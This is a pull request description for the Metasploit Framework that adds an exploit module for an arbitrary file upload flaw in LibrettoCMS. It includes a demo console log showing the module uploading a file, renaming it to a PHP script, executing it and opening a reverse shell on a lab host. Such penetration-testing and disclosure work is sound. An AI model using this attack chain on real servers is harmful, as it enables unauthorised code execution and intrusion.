rapid7/metasploit-framework — pull request #1990 by wchen-r7 (2013-06-20 01:42:45+00:00)
Title: Add OSVDB-94391: LibrettoCMS File Manager Arbitary File Upload

You can download the vuln app here:
http://www.exploit-db.com/exploits/26213/

Demo:

msf exploit(libretto_upload_exec) > exploit

[*] Started reverse handler on 10.0.1.76:4444
[*] 10.0.1.80:80 - Uploading malicious file...
[*] 10.0.1.80:80 - Renaming UCrLUs.pdf...
[*] 10.0.1.80:80 - Executing VYpUJ.pdf.php...
[*] Command shell session 18 opened (10.0.1.76:4444 -> 10.0.1.80:41714) at 2013-06-19 20:39:09 -0500